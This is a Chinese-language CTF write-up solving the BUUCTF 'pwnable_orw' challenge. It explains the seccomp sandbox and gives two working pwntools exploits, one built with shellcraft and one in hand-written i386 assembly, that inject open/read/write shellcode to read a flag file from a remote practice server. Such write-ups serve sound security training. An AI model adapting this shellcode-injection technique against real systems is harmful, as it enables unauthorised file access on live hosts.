[BUUCTF-pwn]——pwnable_orw
記一次ORW的題目
orw就是指你的系統調用被禁止了,不能通過子進程去獲得權限和flag,只能在該進程通過 open , read ,write來得到flag
32位程序,開啟了canary
調用orw_seccomp函數后,輸入shellcode后執行shellcode 寫入sys_call的shellcode,發現不能執行
orw_seccomp函數
seccomp 是 secure computing 的縮寫,其是 Linux kernel 從2.6.23版本引入的一種簡潔的
sandboxing 機制。在 Linux 系統里,大量的系統調用(system
call)直接暴露給用戶態程序。但是,并不是所有的系統調用都被需要,而且不安全的代碼濫用系統調用會對系統造成安全威脅。seccomp安全機制能使一個進程進入到一種“安全”運行模式,該模式下的進程只能調用4種系統調用(system
call),即 read(), write(), exit() 和 sigreturn(),否則進程便會被終止。
第一次調用prctl函數 ————禁止提權
第二次調用prctl函數 ————限制能執行的系統調用只有open,write,exit
做題思路
一. 利用shellcraft構造
有的時候我們需要在寫exp的時候用到簡單的shellcode,pwntools提供了對簡單的shellcode的支持。
from pwn import * context.arch = 'i386' p = remote('node3.buuoj.cn',28626) shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) payload = asm(shellcode) p.send(payload) p.interactive()二.自己動手寫一套匯編程序代碼
打開flag文件,sys_open(file,0,0);系統調用號為5
push 0x0 #字符串結尾 push 0x67616c66 #'flag' "flag字符串的16進制表示,由于小端序,所以是從右往左" mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #調用號 int 0x80 #sys_open(flags,0,0)讀flag文件,sys_read(3,file,0x100);系統調用號為3
mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 緩沖區,讀出的數據-->也就是讀“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表標準的輸出輸入和出錯,其他打開的文件 mov edx,0x100; #對應字節數 int 0x80;輸出flag文件內容,sys_write(1,file,0x30);系統調用號為4
mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80;EXp
from pwn import * from LibcSearcher import *context(os = "linux", arch = "i386", log_level= "debug") p = remote("node3.buuoj.cn", 27008)shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80') shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80') shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80') p.sendlineafter('shellcode:', shellcode)p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——pwnable_orw的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF]pwn - wustct
- 下一篇: 关于 ESP,EBP,EIP